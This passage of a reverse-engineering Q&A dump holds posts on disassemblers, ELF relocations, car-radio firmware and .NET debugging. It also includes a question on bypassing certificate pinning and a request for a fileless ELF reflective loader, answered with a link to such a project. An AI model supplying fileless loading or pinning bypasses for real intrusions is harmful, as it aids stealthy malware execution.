RVA,       58 SizeOfBlock&#xA;     278  DIR64      00000001400023DC&#xA;     280  DIR64      0000000140001000&#xA;--&#xA;    5000 RVA,       18 SizeOfBlock&#xA;       0  DIR64      0000000140003630&#xA;       8  DIR64      0000000140003680&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-01-30T18:58:12.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17340" PostTypeId="2" ParentId="17334" CreationDate="2018-01-30T18:58:49.790" Score="2" Body="&lt;p&gt;Radare2 uses &lt;a href=&quot;http://www.capstone-engine.org/lang_python.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;capstone&lt;/a&gt; for disassembling, and capstone has a python API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from their website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from capstone import *&#xA;&#xA;CODE = b&quot;\x55\x48\x8b\x05\xb8\x13\x00\x00&quot;&#xA;&#xA;md = Cs(CS_ARCH_X86, CS_MODE_64)&#xA;for i in md.disasm(CODE, 0x1000):&#xA;    print(&quot;0x%x:\t%s\t%s&quot; %(i.address, i.mnemonic, i.op_str))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user23101" LastActivityDate="2018-01-30T18:58:49.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17341" PostTypeId="2" ParentId="17334" CreationDate="2018-01-30T19:30:13.517" Score="0" Body="&lt;p&gt;&lt;strong&gt;:&gt;radare2 -c &quot;aaa;fs functions;pdf @@ fcn.*;q&quot; x32dbg.exe &gt; foo.txt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\&amp;gt;grep -i (fcn) foo.txt&#xA;/ (fcn) fcn.004020f7 21&#xA;/ (fcn) fcn.00401ff1 266&#xA;/ (fcn) fcn.00402580 69&#xA;/ (fcn) fcn.004020ee 9&#xA;/ (fcn) fcn.004025c5 20&#xA; xxxxxxxxxxxxxxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a sample disassembled function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep -A 18 -i &quot;(fcn) fcn.004025c5&quot; foo.txt&#xA;/ (fcn) fcn.004025c5 20&#xA;|   fcn.004025c5 ();&#xA;|           ; var int local_10h @ ebp-0x10&#xA;|              ; UNKNOWN XREF from 0x004020e5 (sub.KERNEL32.dll_DecodePointer_4e)&#xA;|              ; CALL XREF from 0x0040242c (entry0)&#xA;|              ; CALL XREF from 0x004020e5 (sub.KERNEL32.dll_DecodePointer_4e)&#xA;|              ; CALL XREF from 0x00402647 (fcn.004025fc)&#xA;|              ; CALL XREF from 0x004026c1 (fcn.0040266b)&#xA;|           0x004025c5      8b4df0         mov ecx, dword [local_10h]&#xA;|           0x004025c8      64890d000000.  mov dword fs:[0], ecx&#xA;|           0x004025cf      59             pop ecx&#xA;|           0x004025d0      5f             pop edi&#xA;|           0x004025d1      5f             pop edi&#xA;|           0x004025d2      5e             pop esi&#xA;|           0x004025d3      5b             pop ebx&#xA;|           0x004025d4      8be5           mov esp, ebp&#xA;|           0x004025d6      5d             pop ebp&#xA;|           0x004025d7      51             push ecx&#xA;\           0x004025d8      c3             ret&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-01-30T19:30:13.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17342" PostTypeId="1" CreationDate="2018-01-30T21:20:35.013" Score="0" ViewCount="3084" Body="&lt;p&gt;I'm owning a CarPlay head unit from Volkswagen called RCD330 plus. It is possible to upgrade/downgrade to any available firmwares. For example here are two firmware versions: &lt;a href=&quot;http://rcd330plus.com/rcd/variantconflict_Eror.rar&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://rcd330plus.com/rcd/variantconflict_Eror.rar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware file itself is a *.tar file and can be extracted. I found a linux file structure (var, etc, opt, ... folders).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My goal:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The head unit supports only a few languages like Chinese, Mexican, US English, ... and I want to add support for German language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I tried already&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) I checked nearly every file with a HEX editor (iHex for Mac OS X) and found one 9.4MB big file called &lt;strong&gt;&lt;em&gt;hmi&lt;/em&gt;&lt;/strong&gt; (without extension) in folder &lt;em&gt;/opt/&lt;/em&gt; and this file contains all labels:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9In6E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9In6E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) I checked this &lt;strong&gt;&lt;em&gt;hmi&lt;/em&gt;&lt;/strong&gt; file with binwalk and get this output:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4mKmK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4mKmK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aDr0b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aDr0b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where can I get information/knowledge to add an additional language. Maybe also with adding german language flag in the setup menu of the radio?&#xA;Or is this just impossible?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this &lt;em&gt;hmi&lt;/em&gt; file a compiled file or is it kind of some archiv which can be somehow extracted?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="23102" LastActivityDate="2019-05-31T10:40:18.250" Title="Adding additional language to Linux based Firmware of Volkswagen Car Radio" Tags="|firmware|linux|embedded|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17343" PostTypeId="1" AcceptedAnswerId="17351" CreationDate="2018-01-30T22:15:00.647" Score="0" ViewCount="246" Body="&lt;p&gt;I am trying to debugging c# .NET application which receives a set of doubles and keep it as DataSeries every second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to rewrite its dataseries before the new data comes with my own dataset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st question.&#xA;my idea is the following:&#xA;if I find the address on RAM where the data kept,I can rewrite with python or MHS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this valid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd question.&#xA;what does something like &quot;@06000027&quot; in DnSpy mean?&lt;a href=&quot;https://i.stack.imgur.com/L7UH6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L7UH6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you beforehand.&lt;/p&gt;&#xA;" OwnerUserId="23078" LastActivityDate="2018-01-31T09:08:08.093" Title="Reversing C# exe,Questions.Help" Tags="|debugging|memory|decompile|c#|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17344" PostTypeId="1" CreationDate="2018-01-30T23:25:13.867" Score="1" ViewCount="56" Body="&lt;p&gt;I do not understand, if you know everything there is to be known about your hardware, can't you work your way up and find out what the binary does &lt;strong&gt;exactly&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="23103" LastActivityDate="2018-01-31T01:29:24.073" Title="Assuming you know everything about a hardware platform, can you reverse the BLOB that is required for its operation?" Tags="|hardware|binary|" AnswerCount="1" CommentCount="0" ClosedDate="2018-02-02T20:54:35.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="17345" PostTypeId="1" AcceptedAnswerId="17347" CreationDate="2018-01-30T23:33:21.563" Score="1" ViewCount="1551" Body="&lt;p&gt;In &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/B01891X7V0&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Learning Linux Binary Analysis&lt;/em&gt; by Ryan &quot;elfmaster&quot; O'Neill&lt;/a&gt;. On Page 33, the author compiles a program with a symbol reference and no definition,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let's take a look at the source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_start()&#xA;  {&#xA;    foo();&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;We see that it calls the foo() function. However, the foo() function is not located directly within that source code file; so, upon compiling, there will be a relocation entry created that is necessary for later satisfying the symbolic reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -d obj1.o&#xA;obj1.o:&#xA;file format elf32-i386&#xA;Disassembly of section .text:&#xA;00000000 &amp;lt;func&amp;gt;:&#xA;0: 55 push %ebp&#xA;1: 89 e5 mov %esp,%ebp&#xA;3: 83 ec 08 sub $0x8,%esp&#xA;6: e8 fc ff ff ff call 7 &amp;lt;func+0x7&amp;gt;&#xA;b: c9 leave&#xA;c: c3 ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;**Even after changing &lt;code&gt;_start() {}&lt;/code&gt; to &lt;code&gt;void start() {}&lt;/code&gt;, what flags do I use to compile the same thing? When I try, I get..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -nostdlib app.c -o test&#xA;app.c: In function ‘_start’:&#xA;app.c:3:3: warning: implicit declaration of function ‘foo’ [-Wimplicit-function-declaration]&#xA;   foo();&#xA;   ^~~&#xA;/tmp/ccMBITVZ.o: In function `_start':&#xA;app.c:(.text+0xa): undefined reference to `foo'&#xA;collect2: error: ld returned 1 exit status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-01-31T18:23:57.777" LastActivityDate="2018-01-31T18:23:57.777" Title="How do you compile a C program with missing symbols?" Tags="|elf|symbols|gcc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17346" PostTypeId="1" AcceptedAnswerId="20862" CreationDate="2018-01-31T00:29:03.170" Score="1" ViewCount="1840" Body="&lt;p&gt;From &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/B01891X7V0&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Learning Linux Binary Analysis&lt;/em&gt; by Ryan &quot;elfmaster&quot; O'Neill&lt;/a&gt;. On Page 32, the author states,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The relocation records for 32-bit ELF files are the same as for 64-bit, but use 32-bit integers. The following example for are object file code will be compiled as 32-bit so that we can demonstrate implicit addends, which are not as commonly used in 64-bit. An &lt;strong&gt;implicit addend&lt;/strong&gt; occurs when the relocation records are stored in &lt;code&gt;ElfN_Rel&lt;/code&gt; type structures that don't contain an &lt;code&gt;r_addend&lt;/code&gt; field and therefore the addend is stored in the relocation target itself. The 64-bit executables tend to use the &lt;code&gt;ElfN_Rela&lt;/code&gt; structs that contain an &lt;strong&gt;explicit addend&lt;/strong&gt;. I think it is worth understanding both scenarios, but implicit addends are a little more confusing, so it makes sense to bring light to this area.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the actual definition of an &lt;em&gt;&quot;addend&quot;&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2019-03-13T06:03:57.567" LastActivityDate="2019-03-13T06:25:30.357" Title="What is an &quot;addend&quot;?" Tags="|symbols|dynamic-linking|terminology|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17347" PostTypeId="2" ParentId="17345" CreationDate="2018-01-31T01:04:51.077" Score="4" Body="&lt;p&gt;Compiling your source code file like this also involves a call to the linker - remember that the &quot;gcc&quot; program is only the compiler front end program, which calls the preprocessor, compiler passes, assembler, and linker as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can obtain the object file &quot;app.o&quot; using the &quot;-c&quot; compiler option like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -nostdlib -c app.c -o app.o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &quot;-c&quot;, the compiler is instructed to stop after generating the object file, so that the linker is not invoked. To generate an executable ELF file, you then have to invoke the linker separately&#xA;(app.o is the default output file name, so the &quot;-o app.o&quot; parameter can be omitted).&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-01-31T01:04:51.077" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17348" PostTypeId="2" ParentId="17344" CreationDate="2018-01-31T01:29:24.073" Score="2" Body="&lt;p&gt;One problem here is that it might be hard to know all facts about the hardware - a great example are the current Meltdown and Spectre security problems, which rely on side-channel effects not (precisely) documented by the processor vendors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in general, in cases like these you would have a hard time figuring out what some piece of binary code trying to exploit these properties really does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since you are asking about a BLOB driving a certain piece of hardware, having descriptions of register, timing, interrupt, DMA (etc.)  behavior and, if possible, schematics or HDL descriptions of the hardware components, would at least go a long way in finding out what the binary does exactly.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-01-31T01:29:24.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17349" PostTypeId="2" ParentId="17346" CreationDate="2018-01-31T07:01:56.247" Score="2" Body="&lt;p&gt;I think it just means &quot;a number that's added&quot;, and in this case &quot;the number that's added to the base load address (or segment load address) to compute the final pointer for this relocation&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's imagine that when we load our binary into memory at 0x400000 we have a pointer at 0x401234 that points to 0x405678. (If instead we loaded the binary at 0x800000 then this should point to 0x805678, hence it needs relocating.) I don't know ELF, but my reading of this is that&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;in the implicit case the relocation table stores just offsets into your binary, in this case 0x1234, and in our binary at offset 0x1234 we store the target offset 0x5678. Therefore relocation becomes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for each address &lt;code&gt;A&lt;/code&gt; in the relocation table &lt;code&gt;*(base + A) += base&lt;/code&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is how relocation tables work in PE files.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in the explicit case, the relocation table stores both the offset into your binary and the target offset, i.e. 0x1234 0x5678. So relocation here is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for each address pair &lt;code&gt;A, B&lt;/code&gt; in the relocation table &lt;code&gt;*(base + A) = base + B&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what goes in the binary at offset 0x1234 in this case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13139" LastEditorUserId="13139" LastEditDate="2018-01-31T07:29:08.823" LastActivityDate="2018-01-31T07:29:08.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17350" PostTypeId="2" ParentId="17342" CreationDate="2018-01-31T07:19:14.467" Score="3" Body="&lt;p&gt;As binwalk points out, this file is a compiled executable, and you don't even need binwalk for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file hmi&#xA;hmi: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.31, stripped, with debug_info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Strings you can see in a hex editor are embedded into the binary and are referenced directly from the code. As to whether or not it's possible to add a new language with a reasonable effort, consider the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Since it's a multi-language application, it's likely some sort of locale management framework is used. In some cases it can make addition of a new language easier.&lt;/li&gt;&#xA;&lt;li&gt;If you modify this binary, you'll need to make sure all the internal data references and pointers still point at correct locations. This can be quite hard to do, especially for a C++ application written with Qt.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think an easier way would be replacing strings from one of existing languages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings hmi | grep ias&#xA;dias&#xA;Solo emergencias&#xA;ncias na conex&#xA;Puede haber interferencias&#xA;Memorias&#xA;Lista de memorias FM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The downside here is that translated strings can't be longer than original ones (which is unfortunate for German), otherwise data offsets would change. However, it's certainly easier than remapping the whole executable.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastEditorUserId="13606" LastEditDate="2018-01-31T10:34:43.940" LastActivityDate="2018-01-31T10:34:43.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17351" PostTypeId="2" ParentId="17343" CreationDate="2018-01-31T09:08:08.093" Score="2" Body="&lt;p&gt;Those numbers are metadata and is called Token IDs. You can click on those in the dnSpy and you will be taken to the editor of the selected item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your first question, remember that .net apps are JITed before the actual executions so addresses will change. If I would have to do this I would change the code on the .net level.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-01-31T09:08:08.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17352" PostTypeId="2" ParentId="17327" CreationDate="2018-01-31T12:24:22.253" Score="-1" Body="&lt;p&gt;You may use FakeNet so that you can simulate the connection specially the IP address and ports.&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2018-01-31T12:24:22.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17354" PostTypeId="2" ParentId="17326" CreationDate="2018-01-31T15:27:26.143" Score="0" Body="&lt;p&gt;Build a dictionary like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ &quot;rax&quot;:&quot;rax&quot;, &quot;eax&quot;:&quot;rax&quot;, &quot;ax&quot;:&quot;rax&quot; ...  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can start from the dictionaries contained in &lt;a href=&quot;https://github.com/angr/archinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/angr/archinfo&lt;/a&gt; and change it.&lt;/p&gt;&#xA;" OwnerUserId="23116" LastActivityDate="2018-01-31T15:27:26.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17356" PostTypeId="1" CreationDate="2018-01-31T22:08:45.027" Score="3" ViewCount="4095" Body="&lt;p&gt;When reverse engineering a thick application it can be very useful to be able to see the network traffic it generates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, many applications use HTTPS to communicate with their servers. Bypassing this has become easy to do with tools like &lt;a href=&quot;https://www.charlesproxy.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Charles&lt;/a&gt; (SSL Proxy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, some applications use &lt;code&gt;Certificate Pinning&lt;/code&gt; which does not allow a proxy to intercept traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some solutions around this problem, ideally, I'm looking for a methodology, tools and techniques to do this in both Windows and OS X applications.&lt;/p&gt;&#xA;" OwnerUserId="22707" LastActivityDate="2018-01-31T22:08:45.027" Title="How to bypass certificate pinning on OS X and Windows" Tags="|decryption|communication|https-protocol|" AnswerCount="0" CommentCount="1" ClosedDate="2018-02-02T20:54:29.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="17359" PostTypeId="1" AcceptedAnswerId="17361" CreationDate="2018-02-01T10:07:31.387" Score="0" ViewCount="104" Body="&lt;p&gt;I am given a large memory dump (several megabytes). I need to update idb's memory. What I do now is: PatchQword(addr, value) if value != Qword(addr) for every qword in memory dump. Unfortunately, every PatchQword takes way too long (around 3-4 PatchQwords per second).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO the question is: is there a way to tell IDA to update large regions of memory at once?&lt;/p&gt;&#xA;" OwnerUserId="17675" LastActivityDate="2018-02-05T05:12:52.717" Title="Big patches for memory dumps" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17361" PostTypeId="2" ParentId="17359" CreationDate="2018-02-01T11:46:45.553" Score="0" Body="&lt;p&gt;There's a function in idc called LoadFile. It successfully does what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: there's also patch_many_bytes, but it's very slow.&lt;/p&gt;&#xA;" OwnerUserId="17675" LastEditorUserId="17675" LastEditDate="2018-02-05T05:12:52.717" LastActivityDate="2018-02-05T05:12:52.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17362" PostTypeId="2" ParentId="17333" CreationDate="2018-02-01T12:16:58.177" Score="1" Body="&lt;p&gt;You can create or download tools to scan files with YARA rules. There are many repositories on github with custom rules and you can also get the ClamAV database, which is all in YARA. I think Kaspersky's database is also available in YARA rules. You can also use Loki; a fine tool for incident response which does this job and many more!&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2018-02-01T12:16:58.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17363" PostTypeId="2" ParentId="17359" CreationDate="2018-02-01T12:37:44.250" Score="0" Body="&lt;p&gt;If you don't care about the value of original bytes, you can use put_bytes().&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-02-01T12:37:44.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17365" PostTypeId="2" ParentId="3397" CreationDate="2018-02-01T19:09:56.670" Score="1" Body="&lt;p&gt;I just disassembled this using java 8 compiler and the second trycatchblock is no longer being generated&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test(I)V&#xA;   TRYCATCHBLOCK L0 L1 L2 null&#xA;  L0&#xA;   IINC 1 777&#xA;  L1&#xA;   IINC 1 -333&#xA;  L3&#xA;   GOTO L4&#xA;  L2&#xA;   FRAME SAME1 java/lang/Throwable&#xA;   ASTORE 2&#xA;   IINC 1 -333&#xA;   ALOAD 2&#xA;   ATHROW&#xA;  L4&#xA;   FRAME SAME&#xA;   RETURN&#xA;  L5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My guess is this is some legacy handling that is ignored by the JVM&lt;/p&gt;&#xA;" OwnerUserId="23136" LastActivityDate="2018-02-01T19:09:56.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17369" PostTypeId="1" CreationDate="2018-02-02T14:31:01.433" Score="0" ViewCount="274" Body="&lt;p&gt;I want to run code from Gray Hat Python book for upx_unpacker. I have downloaded PyEmu, but when I run script I got this error:&#xA;&lt;code&gt;AttributeError: PEPyEmu instance has no attribute 'load'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script use PEPyEmu this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sys.path.append(&quot;C:\PyEmu\pyemu-master&quot;)&#xA;sys.path.append(&quot;C:\PyEmu\pyemu-master\\lib&quot;)&#xA;from PyEmu import PEPyEmu&#xA;&#xA;exename = sys.argv[1]&#xA;outputfile = sys.argv[2]&#xA;&#xA;emu = PEPyEmu()&#xA;if exename:&#xA;    if not emu.load(exename):&#xA;        print &quot;[!] Problem loading %s&quot; %exename&#xA;        sys.exit(2)&#xA;else:&#xA;    print &quot;[!] Blank filename specified&quot;&#xA;    sys.exit(3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is same as in the book, but it does not work. I use Python 2.7.14, &lt;code&gt;Pyemu&lt;/code&gt; from &lt;a href=&quot;https://github.com/codypierce/pyemu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/codypierce/pyemu&lt;/a&gt;&#xA;Anyone know how to resolve it and run this script? I didn't find any help in the internet.&lt;/p&gt;&#xA;" OwnerUserId="18298" LastActivityDate="2018-06-05T10:31:42.773" Title="Pyemu - cannot use PEPyEmu() module, Python" Tags="|malware|unpacking|python|upx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17370" PostTypeId="1" CreationDate="2018-02-02T18:18:53.577" Score="2" ViewCount="1032" Body="&lt;p&gt;I was trying out some things when I came across some RubyEncoder encoded code.&#xA;After searching the web, I found basically nothing useful on how to reverse them (Except &lt;a href=&quot;http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/318464&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;this&quot;&gt;this&lt;/a&gt; and [this][2], but I had no success until now).&#xA;Is there any way to do it? If yes, how?&lt;/p&gt;&#xA;" OwnerUserId="18615" LastEditorUserId="18615" LastEditDate="2018-02-02T18:26:29.743" LastActivityDate="2018-02-02T18:26:29.743" Title="Decode RubyEncoder" Tags="|deobfuscation|script|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17372" PostTypeId="1" CreationDate="2018-02-02T20:00:18.440" Score="0" ViewCount="569" Body="&lt;p&gt;I'm looking for an ELF64 reflective loader, so I can download an ELF and execute it without saving to disk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone able to point me at one please?  Or a clear one for ELF32 so I can translate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="23152" LastActivityDate="2018-02-03T19:23:40.670" Title="ELF64 Reflective Loading" Tags="|malware|elf|" AnswerCount="1" CommentCount="0" ClosedDate="2018-02-04T20:21:32.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="17373" PostTypeId="2" ParentId="17369" CreationDate="2018-02-02T20:06:54.587" Score="1" Body="&lt;p&gt;Please check example usage in &lt;a href=&quot;https://github.com/codypierce/pyemu/blob/master/examples/pepyemu.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/codypierce/pyemu/blob/master/examples/pepyemu.py&lt;/a&gt;. It looks like load method is not implemented.&#xA;Based on example usage it's required to load PE file manually.&lt;/p&gt;&#xA;" OwnerUserId="8133" LastEditorUserId="8133" LastEditDate="2018-02-05T07:40:39.257" LastActivityDate="2018-02-05T07:40:39.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17377" PostTypeId="2" ParentId="17372" CreationDate="2018-02-03T19:23:40.670" Score="1" Body="&lt;p&gt;Code for diskless loading of ELF Shared Library using Reflective DLL Injection&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/nsxz/ReflectiveELFLoader&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nsxz/ReflectiveELFLoader&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Code for diskless loading of ELF Shared Library using Reflective DLL&#xA;  Injection technique. Currently, this is only designed to work on&#xA;  x86_64 (AMD64) architecture on Linux. I was originally hoping to be&#xA;  able to expand this to other architectures and FreeBSD. However, I do&#xA;  not have time to implement this on other architectures and since I&#xA;  only need it to work on x86_64 on Linux this is the only portion I&#xA;  have implemented.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22363" LastActivityDate="2018-02-03T19:23:40.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17379" PostTypeId="1" AcceptedAnswerId="17382" CreationDate="2018-02-03T21:19:56.940" Score="1" ViewCount="1206" Body="&lt;p&gt;When I run &lt;code&gt;is&lt;/code&gt; to show the symbols, I see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Symbols]&#xA;004 0x000000f0 0x006000f0  LOCAL NOTYPE    0 text1&#xA;005 0x000000cb 0x004000cb  LOCAL NOTYPE    0 _print&#xA;006 0x000000d1 0x004000d1  LOCAL NOTYPE    0 _printLoop&#xA;008 0x000000f0 0x006000f0  LOCAL OBJECT    0 _GLOBAL_OFFSET_TABLE_&#xA;009 0x000000b0 0x004000b0 GLOBAL NOTYPE    0 _start&#xA;010 0x006000fe 0x006000fe GLOBAL NOTYPE    0 __bss_start&#xA;011 0x006000fe 0x006000fe GLOBAL NOTYPE    0 _edata&#xA;012 0x00600100 0x00600100 GLOBAL NOTYPE    0 _end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; s _start&#xA;[0x00000000]&amp;gt; s @_start&#xA;0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing happens? How come that doesn't 